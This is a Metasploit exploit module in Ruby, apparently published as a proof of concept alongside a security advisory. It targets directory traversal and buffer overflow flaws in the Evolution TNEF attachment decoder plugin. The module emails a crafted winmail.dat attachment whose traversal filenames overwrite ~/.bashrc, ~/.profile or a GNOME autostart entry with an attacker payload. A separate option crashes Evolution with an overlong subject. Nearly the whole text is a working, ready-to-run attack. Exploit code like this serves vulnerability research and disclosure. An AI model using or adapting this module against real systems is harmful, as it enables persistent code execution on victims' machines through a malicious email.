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yTNEF/Evolution TNEF Attachment decoder plugin directory traversal & buffer overflow vulnerabilities - proof of concept (https://www.akitasecurity.nl/advisory/AK20090601/ytnef_evolution_tnef_plugin_traversal___overflow_vulnerabilities.html)
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::SMTPDeliver
def initialize(info = {})
super(update_info(info,
'Name' => 'Evolution TNEF Attachment decoder plugin directory traversal and buffer overflow vulnerabilities',
'Description' => %q{
The Evolution TNEF Attachment decoder plugin is affected by several
directory traversal and buffer overflow vulnerabilities. The directory
traversal vulnerabilities allow attackers to overwrite or create local
files with the privileges of the target user. Exploiting the buffer
overflow vulnerabilities allows for arbitrary code execution with the
privileges of the target user.
},
'Author' => 'Yorick Koster <yorick@akitasecurity.nl>',
'Version' => '1',
'References' =>
[
['URL', 'http://www.akitasecurity.nl/advisory.php?id=AK20090601'],
],
'Platform' => ['unix', 'linux', 'bsd'],
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::None,
'Session' => Msf::Sessions::CommandShell,
'Targets' =>
[
['GNOME (~/.config/autostart/sploit.desktop)', {}],
['Bash (~/.bashrc)', {}],
['Shell (~/.profile)', {}],
['Crash Evolution', {}],
],
'DefaultTarget' => 0))
register_options(
[
OptString.new('MAILSUBJECT', [false, "The subject of the sent email"])
], self.class)
end
def exploit
msg = Rex::MIME::Message.new
msg.mime_defaults
msg.subject = datastore['MAILSUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
msg.to = datastore['MAILTO']
msg.from = datastore['MAILFROM']
body = Rex::Text.encode_base64(create_tnef_exploit(payload), "\r\n")
content_type = "application/ms-tnef"
content_disposition = "attachment;\r\n\tname=\"winmail.dat\""
msg.add_part(body, content_type, "base64", content_disposition)
send_message(msg.to_s)
end
def create_tnef_exploit(payload)
sploit = create_tnef_header
filename = "foobar.txt"
content = ""
if target.name =~ /Bash/
filename = "/../../../../.bashrc\x00"
content = "\# ~/.bashrc: executed by bash(1) for non-login shells.\n\n"
content << "[ -z \"$PS1\" ] && return\n"
content << "export HISTCONTROL=ignoredups\n"
content << "export HISTCONTROL=ignoreboth\n"
content << "shopt -s checkwinsize\n"
content << "if [ -f /etc/bash_completion ]; then\n"
content << " . /etc/bash_completion\n"
content << "fi\n"
content << "\n#{payload.encoded}\n"
end
if target.name =~ /Shell/
filename = "/../../../../.profile\x00"
content = "\# ~/.profile: executed by the command interpreter for login shells.\n\n"
content << "if [ -n \"$BASH_VERSION\" ]; then\n"
content << " if [ -f \"$HOME/.bashrc\" ]; then\n"
content << " . \"$HOME/.bashrc\"\n"
content << " fi\n"
content << "fi\n\n"
content << "if [ -d \"$HOME/bin\" ] ; then\n"
content << " PATH=\"$HOME/bin:$PATH\"\n"
content << "fi\n"
content << "\n#{payload.encoded}\n"
end
if target.name =~ /GNOME/
filename = "/../../../../.config/autostart/sploit.desktop\x00"
content = "[Desktop Entry]\n"
content << "Version=1.0\n"
content << "Type=Application\n"
content << "Name=Sploit\n"
content << "Comment=\n"
content << "Exec=#{payload.encoded}\n"
content << "StartupNotify=false\n"
content << "Terminal=false\n"
content << "Hidden=false\n"
end
if target.name =~ /Crash/
# triggers crash through an overly long vcard file name
sploit << "\x01" # Level type LVL_MESSAGE
sploit << "\x08\x80" # Name attMessageClass (0x8008)
sploit << "\x07\x00" # Type atpWord (0x0007)
sploit << "\x0c\x00\x00\x00" # Len 0x0000000c
sploit << "\x49\x50\x4d\x2e\x43\x6f\x6e\x74\x61\x63\x74\x00" # IPM.Contact
sploit << "\xe0\x03" # Checksum
subject = Rex::Text.rand_text_alpha(1023)
subject << "\x00"
sploit << "\x01" # Level type LVL_MESSAGE
sploit << "\x04\x80" # Name attSubject (0x8004)
sploit << "\x01\x00" # Type atpString (0x0001)
sploit << [subject.length].pack("V") # Len
sploit << subject
sploit << tnef_checksum(subject) # Checksum
return sploit
end
# start of TNEF attachment
sploit << "\x02" # Level type LVL_ATTACHMENT
sploit << "\x02\x90" # Name attAttachRenddata (0x9002)
sploit << "\x06\x00" # Type atpByte (0x0006)
sploit << "\x0e\x00\x00\x00" # Len 0x0000000e
sploit << "\x01\x00\xff\xff\xff\xff\x20\x00\x20\x00\x00\x00\x00\x00"
sploit << "\x3d\x04" # Checksum
sploit << "\x02" # Level type LVL_ATTACHMENT
sploit << "\x10\x80" # Name attAttachTitle (0x8010)
sploit << "\x01\x00" # Type atpString (0x0001)
sploit << [filename.length].pack("V") # Len
sploit << filename
sploit << tnef_checksum(filename)
sploit << "\x02" # Level type LVL_ATTACHMENT
sploit << "\x0f\x80" # Name attAttachData (0x800f)
sploit << "\x06\x00" # Type atpByte (0x0006)
sploit << [content.length].pack("V") # Len
sploit << content
sploit << tnef_checksum(content)
return sploit
end
def create_tnef_header
# TNEF Header
buf = "\x78\x9f\x3e\x22" # Signature 0x223e9f78
buf << "\x00\x00" # Key
# TNEF Attributes
buf << "\x01" # Level type LVL_MESSAGE
buf << "\x06\x90" # Name attTnefVersion (0x9006)
buf << "\x08\x00" # Type atpDword (0x0008)
buf << "\x04\x00\x00\x00" # Len 0x00000004
buf << "\x00\x00\x01\x00"
buf << "\x01\x00" # Checksum
buf << "\x01" # Level type LVL_MESSAGE
buf << "\x07\x90" # Name attOemCodepage (0x9007)
buf << "\x06\x00" # Type atpByte (0x0006)
buf << "\x08\x00\x00\x00" # Len 0x00000008
buf << "\xe4\x04\x00\x00\x00\x00\x00\x00"
buf << "\xe8\x00" # Checksum
buf << "\x01" # Level type LVL_MESSAGE
buf << "\x0d\x80" # Name attPriority (0x800d)
buf << "\x04\x00" # Type atpShort (0x0004)
buf << "\x02\x00\x00\x00" # Len 0x00000002
buf << "\x02\x00"
buf << "\x02\x00" # Checksum
return buf
end
def tnef_checksum(buf = '')
checksum = 0;
buf.each_byte { |b|
checksum += b
}
return [checksum % 65536].pack("v")
end
end
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